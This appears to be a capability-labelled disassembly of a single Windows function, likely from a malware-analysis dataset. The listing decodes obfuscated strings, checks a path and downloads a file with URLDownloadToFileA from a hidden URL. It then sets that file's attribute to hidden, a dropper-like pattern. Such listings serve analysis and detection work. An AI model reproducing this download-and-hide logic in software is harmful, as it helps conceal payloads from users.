Function at 0x1400d8e60
Capabilities:
Check if file exists
Download url
Inspect load icon resource
Receive data

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x3a8
mov rax, qword [0x1402e4100]
xor rax, rsp
mov qword [rsp + 0x390], rax
mov dword [rsp + 0x340], 0x50
mov dword [rsp + 0x344], 0x40
lea rax, [0x1400d89e0]
mov qword [rsp + 0x348], rax
mov dword [rsp + 0x350], 0
mov dword [rsp + 0x354], 0
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x358], rax
mov edx, 0x65
mov rcx, qword [rsp + 0x3b0]
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x368], 0
mov qword [rsp + 0x370], 0
mov qword [rsp + 0x378], 0
lea rax, [0x140296cf8]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x388], 0
lea rcx, [rsp + 0x340]
call qword [sym.imp.USER32.dll_RegisterClassExW]
movzx eax, ax
test eax, eax
jne 0x1400d8fcc
movzx r9d, byte [rsp + 0x61]
movzx r8d, byte [rsp + 0x62]
movzx edx, byte [rsp + 0x63]
lea rcx, [rsp + 0x170]
call fcn.1400d9510
mov rcx, rax
call fcn.1400d9b50
mov qword [rsp + 0xa8], rax
movzx r9d, byte [rsp + 0x64]
movzx r8d, byte [rsp + 0x65]
movzx edx, byte [rsp + 0x66]
lea rcx, [rsp + 0x190]
call fcn.1400d94e0
mov rcx, rax
call fcn.1400d9bd0
mov qword [rsp + 0xb0], rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, qword [rsp + 0xa8]
mov rdx, qword [rsp + 0xb0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400d94ba
mov eax, dword [0x1403b3f4c]
mov dword [rsp + 0x9c], eax
mov eax, dword [0x1403b3f48]
mov dword [rsp + 0xa0], eax
movzx r9d, byte [rsp + 0x67]
movzx r8d, byte [rsp + 0x68]
movzx edx, byte [rsp + 0x69]
lea rcx, [rsp + 0x210]
call fcn.1400d9540
mov rcx, rax
call fcn.1400d9a70
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0x80000000
mov r8, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0x380]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
jne 0x1400d912e
mov rdx, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x380]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movzx r9d, byte [rsp + 0x6a]
movzx r8d, byte [rsp + 0x6b]
movzx edx, byte [rsp + 0x6c]
lea rcx, [rsp + 0x180]
call fcn.1400d95a0
mov rcx, rax
call fcn.1400d9b50
mov qword [rsp + 0xc0], rax
movzx r9d, byte [rsp + 0x6d]
movzx r8d, byte [rsp + 0x6e]
movzx edx, byte [rsp + 0x6f]
lea rcx, [rsp + 0x1b0]
call fcn.1400d9570
mov rcx, rax
call fcn.1400d99c0
mov qword [rsp + 0xc8], rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400d94ba
mov rdx, qword [rsp + 0x90]
lea rcx, [0x1403b3f00]
call fcn.1400c4240
movzx eax, al
test eax, eax
jne 0x1400d91f0
lea rcx, [0x1403b3f00]
call fcn.1400c4110
mov rdx, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x380]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movzx r9d, byte [rsp + 0x70]
movzx r8d, byte [rsp + 0x71]
movzx edx, byte [rsp + 0x72]
lea rcx, [rsp + 0x150]
call fcn.1400d9600
mov rcx, rax
call fcn.1400d9b50
mov qword [rsp + 0xd0], rax
movzx r9d, byte [rsp + 0x73]
movzx r8d, byte [rsp + 0x74]
movzx edx, byte [rsp + 0x75]
lea rcx, [rsp + 0x160]
call fcn.1400d95d0
mov rcx, rax
call fcn.1400d9940
mov qword [rsp + 0xd8], rax
mov r9d, reloc.WS2_32.dll_recv
mov r8, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x1400d94ba
mov eax, dword [0x1403b3f4c]
inc eax
mov ecx, dword [0x1403b3f48]
inc ecx
mov edx, dword [0x1403b3f50]
mov dword [rsp + 0x28], edx
mov edx, dword [0x1403b3f50]
mov dword [rsp + 0x20], edx
mov r9d, eax
mov r8d, ecx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov qword [rsp + 0xe0], rax
mov r8d, 1
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov edx, 0xa
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.USER32.dll_UpdateWindow]
movzx r9d, byte [rsp + 0x76]
movzx r8d, byte [rsp + 0x77]
movzx edx, byte [rsp + 0x78]
lea rcx, [rsp + 0x1d0]
call fcn.1400d9630
mov rcx, rax
call fcn.1400d9890
mov qword [rsp + 0xe8], rax
xor r8d, r8d
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x108]
call fcn.1400dabf0
lea rcx, [rsp + 0x108]
call fcn.1400d8830
movzx eax, al
test eax, eax
jne 0x1400d92d0
mov dword [rsp + 0x98], 1
jmp 0x1400d92db
mov dword [rsp + 0x98], 0
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x60], al
lea rcx, [rsp + 0x108]
call fcn.1400d7f00
movzx eax, byte [rsp + 0x60]
test eax, eax
je 0x1400d935d
movzx r9d, byte [rsp + 0x79]
movzx r8d, byte [rsp + 0x7a]
movzx edx, byte [rsp + 0x7b]
lea rcx, [rsp + 0x1f0]
call fcn.1400d9660
mov rcx, rax
call fcn.1400d9890
mov qword [rsp + 0xf0], rax
xor r8d, r8d
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x128]
call fcn.1400dabf0
lea rcx, [rsp + 0x128]
call fcn.1400d8990
lea rcx, [rsp + 0x128]
call fcn.1400d7f00
movzx r9d, byte [rsp + 0x7c]
movzx r8d, byte [rsp + 0x7d]
movzx edx, byte [rsp + 0x7e]
lea rcx, [rsp + 0x240]
call fcn.1400d9690
mov rcx, rax
call fcn.1400d9c80
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1400d93c4
movzx r9d, byte [rsp + 0x7f]
movzx r8d, byte [rsp + 0x80]
movzx edx, byte [rsp + 0x81]
lea rcx, [rsp + 0x270]
call fcn.1400d96c0
mov rcx, rax
call fcn.1400d9c80
mov rcx, rax
call fcn.14022e8b4
movzx r9d, byte [rsp + 0x82]
movzx r8d, byte [rsp + 0x83]
movzx edx, byte [rsp + 0x84]
lea rcx, [rsp + 0x2a0]
call fcn.1400d9720
mov rcx, rax
call fcn.1400d9c80
mov qword [rsp + 0xf8], rax
movzx r9d, byte [rsp + 0x85]
movzx r8d, byte [rsp + 0x86]
movzx edx, byte [rsp + 0x87]
lea rcx, [rsp + 0x300]
call fcn.1400d96f0
mov rcx, rax
call fcn.1400d9780
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 0
jl 0x1400d94a4
movzx r9d, byte [rsp + 0x88]
movzx r8d, byte [rsp + 0x89]
movzx edx, byte [rsp + 0x8a]
lea rcx, [rsp + 0x2d0]
call fcn.1400d9750
mov rcx, rax
call fcn.1400d9c80
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rdx, qword [rsp + 0x90]
lea rcx, [0x1403b3f00]
call fcn.1400c3600
xor eax, eax
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.1401de720
add rsp, 0x3a8
ret